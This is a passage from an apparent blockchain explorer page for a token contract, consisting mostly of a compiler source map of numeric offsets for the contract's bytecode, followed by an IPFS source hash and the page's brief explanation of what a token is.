-;:39;;10799:78;;;;-1:-1:-1;;;10799:78:0;;12808:2:1;10799:78:0;;;12790:21:1;12847:2;12827:18;;;12820:30;12886:28;12866:18;;;12859:56;12932:18;;10799:78:0;12606:350:1;10799:78:0;10896:10;:12;;;:10;:12;;;:::i;:::-;;;;;;10615:309;10947:13;;-1:-1:-1;;;;;10941:19:0;;;10947:13;;10941:19;:43;;;;-1:-1:-1;;;;;;10964:20:0;;10979:4;10964:20;;10941:43;10938:176;;;11018:80;11094:3;11018:71;11041:16;;11030:10;;:27;11029:59;;11073:15;;11029:59;;;11059:13;;11018:6;;:10;:71::i;:80::-;11005:93;;10938:176;11177:4;11128:28;7737:16;;;:7;:16;;;;;;11202:47;11220:4;11226:2;11230:6;11238:10;11202:17;:47::i;:::-;11198:347;;;11270:67;11287:49;11291:6;11298:37;11302:20;11323:11;;11298:3;:37::i;:::-;11287:3;:49::i;:::-;11270:16;:67::i;:::-;11385:21;11428:22;;11425:105;;11475:35;11488:21;11475:12;:35::i;:::-;11251:294;11198:347;9877:1679;9827:1729;-1:-1:-1;;;;;11580:13:0;;;;;;:7;:13;;;;;;:25;;11598:6;11580:17;:25::i;:::-;-1:-1:-1;;;;;11566:13:0;;;;;;:7;:13;;;;;:39;11628;11644:22;:6;11655:10;11644;:22::i;:::-;-1:-1:-1;;;;;11628:11:0;;;;;;:7;:11;;;;;;;:15;:39::i;:::-;-1:-1:-1;;;;;11616:11:0;;;;;;;:7;:11;;;;;:51;;;;11683:42;;;11702:22;:6;11713:10;11702;:22::i;:::-;11683:42;;1549:25:1;;;1537:2;1522:18;11683:42:0;;;;;;;9556:2177;9487:2246;;;:::o;3208:190::-;3294:7;3330:12;3322:6;;;;3314:29;;;;-1:-1:-1;;;3314:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3354:9:0;3366:5;3370:1;3366;:5;:::i;:::-;3354:17;3208:190;-1:-1:-1;;;;;3208:190:0:o;8321:484::-;4805:10;:17;;-1:-1:-1;;;;4805:17:0;-1:-1:-1;;;4805:17:0;;;8424:16:::1;::::0;;8438:1:::1;8424:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8424:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8424:16:0::1;8400:40;;8469:4;8451;8456:1;8451:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8451:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8495:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8495:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8451:7;;8495:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8485:4;8490:1;8485:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8485:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8560:15:::1;::::0;8528:62:::1;::::0;8545:4:::1;::::0;8560:15:::1;8578:11:::0;8528:8:::1;:62::i;:::-;8601:15;::::0;:196:::1;::::0;-1:-1:-1;;;8601:196:0;;-1:-1:-1;;;;;8601:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8682:11;;8601:15:::1;::::0;8724:4;;8751::::1;::::0;8771:15:::1;::::0;8601:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4845:10:0;:18;;-1:-1:-1;;;;4845:18:0;;;-1:-1:-1;;;;8321:484:0:o;9385:94::-;9442:12;;:29;;-1:-1:-1;;;;;9442:12:0;;;;:29;;;;;9464:6;;9442:12;:29;:12;:29;9464:6;9442:12;:29;;;;;;;;;;;;;;;;;;;3406:246;3464:7;3488:6;3484:47;;-1:-1:-1;3518:1:0;3511:8;;3484:47;3541:9;3553:5;3557:1;3553;:5;:::i;:::-;3541:17;-1:-1:-1;3586:1:0;3577:5;3581:1;3541:17;3577:5;:::i;:::-;:10;3569:56;;;;-1:-1:-1;;;3569:56:0;;14500:2:1;3569:56:0;;;14482:21:1;14539:2;14519:18;;;14512:30;14578:34;14558:18;;;14551:62;-1:-1:-1;;;14629:18:1;;;14622:31;14670:19;;3569:56:0;14298:397:1;3569:56:0;3643:1;3406:246;-1:-1:-1;;;3406:246:0:o;3660:132::-;3718:7;3745:39;3749:1;3752;3745:39;;;;;;;;;;;;;;;;;:3;:39::i;12382:861::-;12575:13;;12643:4;12484;7737:16;;;:7;:16;;;;;;;;;-1:-1:-1;;;;;12680:27:0;;;;:21;:27;;;;;;12484:4;;;;;;12565:23;;;;;-1:-1:-1;12625:41:0;;12680:27;;12677:165;;;12735:6;12725:16;;12753:4;12742:15;;12677:165;;;12809:4;12790:24;;12825:5;12815:15;;12677:165;12855:9;;12852:102;;-1:-1:-1;;;;;12884:17:0;;;;;;:7;:17;;;;;;:30;;12906:7;12884:21;:30::i;:::-;-1:-1:-1;;;;;12866:17:0;;;;;;;:7;:17;;;;;;;:48;;;;12921:31;;;;;;;;;;12946:5;1549:25:1;;1537:2;1522:18;;1403:177;12921:31:0;;;;;;;;12852:102;12972:10;;-1:-1:-1;;;12972:10:0;;;;12971:11;:36;;;;;12995:12;12971:36;:67;;;;;13020:18;12971:67;:91;;;;-1:-1:-1;13051:11:0;;-1:-1:-1;;;13051:11:0;;;;12971:91;:115;;;;-1:-1:-1;13075:11:0;;-1:-1:-1;;;13075:11:0;;;;12971:115;:147;;;;-1:-1:-1;13105:13:0;;-1:-1:-1;;;;;13099:19:0;;;13105:13;;13099:19;12971:147;:189;;;;;13142:18;;13131:10;;:29;12971:189;:223;;;;-1:-1:-1;;;;;;13174:20:0;;;;;;:14;:20;;;;;;;;13173:21;12971:223;:264;;;;-1:-1:-1;;;;;;13208:27:0;;;;;;:21;:27;;;;;;;;13207:28;12971:264;12964:271;12382:861;-1:-1:-1;;;;;;;;;12382:861:0:o;7538:98::-;7595:7;7622:1;7620;:3;7619:9;;7627:1;7619:9;;;-1:-1:-1;7625:1:0;7538:98;-1:-1:-1;7538:98:0:o;3064:136::-;3122:7;3149:43;3153:1;3156;3149:43;;;;;;;;;;;;;;;;;:3;:43::i;2877:179::-;2935:7;;2967:5;2971:1;2967;:5;:::i;:::-;2955:17;;2996:1;2991;:6;;2983:46;;;;-1:-1:-1;;;2983:46:0;;14902:2:1;2983:46:0;;;14884:21:1;14941:2;14921:18;;;14914:30;14980:29;14960:18;;;14953:57;15027:18;;2983:46:0;14700:351:1;3800:189:0;3886:7;3921:12;3914:5;3906:28;;;;-1:-1:-1;;;3906:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3945:9:0;3957:5;3961:1;3957;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:134;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;2287:20;2284:1;2277:31;2327:4;2324:1;2317:15;2351:4;2348:1;2341:15;2367:1121;2451:6;2482:2;2525;2513:9;2504:7;2500:23;2496:32;2493:52;;;2541:1;2538;2531:12;2493:52;2581:9;2568:23;2610:18;2651:2;2643:6;2640:14;2637:34;;;2667:1;2664;2657:12;2637:34;2705:6;2694:9;2690:22;2680:32;;2750:7;2743:4;2739:2;2735:13;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:2;2795:16;2830:2;2826;2823:10;2820:36;;;2836:18;;:::i;:::-;2882:2;2879:1;2875:10;2914:2;2908:9;2977:2;2973:7;2968:2;2964;2960:11;2956:25;2948:6;2944:38;3032:6;3020:10;3017:22;3012:2;3000:10;2997:18;2994:46;2991:72;;;3043:18;;:::i;:::-;3079:2;3072:22;3129:18;;;3163:15;;;;-1:-1:-1;3205:11:1;;;3201:20;;;3233:19;;;3230:39;;;3265:1;3262;3255:12;3230:39;3289:11;;;;3309:148;3325:6;3320:3;3317:15;3309:148;;;3391:23;3410:3;3391:23;:::i;:::-;3379:36;;3342:12;;;;3435;;;;3309:148;;;3476:6;2367:1121;-1:-1:-1;;;;;;;;2367:1121:1:o;3493:247::-;3552:6;3605:2;3593:9;3584:7;3580:23;3576:32;3573:52;;;3621:1;3618;3611:12;3573:52;3660:9;3647:23;3679:31;3704:5;3679:31;:::i;3953:180::-;4012:6;4065:2;4053:9;4044:7;4040:23;4036:32;4033:52;;;4081:1;4078;4071:12;4033:52;-1:-1:-1;4104:23:1;;3953:180;-1:-1:-1;3953:180:1:o;4138:388::-;4206:6;4214;4267:2;4255:9;4246:7;4242:23;4238:32;4235:52;;;4283:1;4280;4273:12;4235:52;4322:9;4309:23;4341:31;4366:5;4341:31;:::i;:::-;4391:5;-1:-1:-1;4448:2:1;4433:18;;4420:32;4461:33;4420:32;4461:33;:::i;:::-;4513:7;4503:17;;;4138:388;;;;;:::o;4531:127::-;4592:10;4587:3;4583:20;4580:1;4573:31;4623:4;4620:1;4613:15;4647:4;4644:1;4637:15;4663:422;4752:1;4795:5;4752:1;4809:270;4830:7;4820:8;4817:21;4809:270;;;4889:4;4885:1;4881:6;4877:17;4871:4;4868:27;4865:53;;;4898:18;;:::i;:::-;4948:7;4938:8;4934:22;4931:55;;;4968:16;;;;4931:55;5047:22;;;;5007:15;;;;4809:270;;;4813:3;4663:422;;;;;:::o;5090:806::-;5139:5;5169:8;5159:80;;-1:-1:-1;5210:1:1;5224:5;;5159:80;5258:4;5248:76;;-1:-1:-1;5295:1:1;5309:5;;5248:76;5340:4;5358:1;5353:59;;;;5426:1;5421:130;;;;5333:218;;5353:59;5383:1;5374:10;;5397:5;;;5421:130;5458:3;5448:8;5445:17;5442:43;;;5465:18;;:::i;:::-;-1:-1:-1;;5521:1:1;5507:16;;5536:5;;5333:218;;5635:2;5625:8;5622:16;5616:3;5610:4;5607:13;5603:36;5597:2;5587:8;5584:16;5579:2;5573:4;5570:12;5566:35;5563:77;5560:159;;;-1:-1:-1;5672:19:1;;;5704:5;;5560:159;5751:34;5776:8;5770:4;5751:34;:::i;:::-;5821:6;5817:1;5813:6;5809:19;5800:7;5797:32;5794:58;;;5832:18;;:::i;:::-;5870:20;;5090:806;-1:-1:-1;;;5090:806:1:o;5901:140::-;5959:5;5988:47;6029:4;6019:8;6015:19;6009:4;5988:47;:::i;6046:168::-;6086:7;6152:1;6148;6144:6;6140:14;6137:1;6134:21;6129:1;6122:9;6115:17;6111:45;6108:71;;;6159:18;;:::i;:::-;-1:-1:-1;6199:9:1;;6046:168::o;6219:356::-;6421:2;6403:21;;;6440:18;;;6433:30;6499:34;6494:2;6479:18;;6472:62;6566:2;6551:18;;6219:356::o;6580:127::-;6641:10;6636:3;6632:20;6629:1;6622:31;6672:4;6669:1;6662:15;6696:4;6693:1;6686:15;6712:135;6751:3;-1:-1:-1;;6772:17:1;;6769:43;;;6792:18;;:::i;:::-;-1:-1:-1;6839:1:1;6828:13;;6712:135::o;6852:251::-;6922:6;6975:2;6963:9;6954:7;6950:23;6946:32;6943:52;;;6991:1;6988;6981:12;6943:52;7023:9;7017:16;7042:31;7067:5;7042:31;:::i;8029:306::-;8117:6;8125;8133;8186:2;8174:9;8165:7;8161:23;8157:32;8154:52;;;8202:1;8199;8192:12;8154:52;8231:9;8225:16;8215:26;;8281:2;8270:9;8266:18;8260:25;8250:35;;8325:2;8314:9;8310:18;8304:25;8294:35;;8029:306;;;;;:::o;8619:277::-;8686:6;8739:2;8727:9;8718:7;8714:23;8710:32;8707:52;;;8755:1;8752;8745:12;8707:52;8787:9;8781:16;8840:5;8833:13;8826:21;8819:5;8816:32;8806:60;;8862:1;8859;8852:12;12473:128;12513:3;12544:1;12540:6;12537:1;12534:13;12531:39;;;12550:18;;:::i;:::-;-1:-1:-1;12586:9:1;;12473:128::o;12961:125::-;13001:4;13029:1;13026;13023:8;13020:34;;;13034:18;;:::i;:::-;-1:-1:-1;13071:9:1;;12961:125::o;13091:980::-;13353:4;13401:3;13390:9;13386:19;13432:6;13421:9;13414:25;13458:2;13496:6;13491:2;13480:9;13476:18;13469:34;13539:3;13534:2;13523:9;13519:18;13512:31;13563:6;13598;13592:13;13629:6;13621;13614:22;13667:3;13656:9;13652:19;13645:26;;13706:2;13698:6;13694:15;13680:29;;13727:1;13737:195;13751:6;13748:1;13745:13;13737:195;;;13816:13;;-1:-1:-1;;;;;13812:39:1;13800:52;;13907:15;;;;13872:12;;;;13848:1;13766:9;13737:195;;;-1:-1:-1;;;;;;;13988:32:1;;;;13983:2;13968:18;;13961:60;-1:-1:-1;;;14052:3:1;14037:19;14030:35;13949:3;13091:980;-1:-1:-1;;;13091:980:1:o;14076:217::-;14116:1;14142;14132:132;;14186:10;14181:3;14177:20;14174:1;14167:31;14221:4;14218:1;14211:15;14249:4;14246:1;14239:15;14132:132;-1:-1:-1;14278:9:1;;14076:217::o

Swarm Source

ipfs://9acbab9167983ef458752183da00ee6dd5dbcd5bc890c2bff2a2b9a7136e551b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.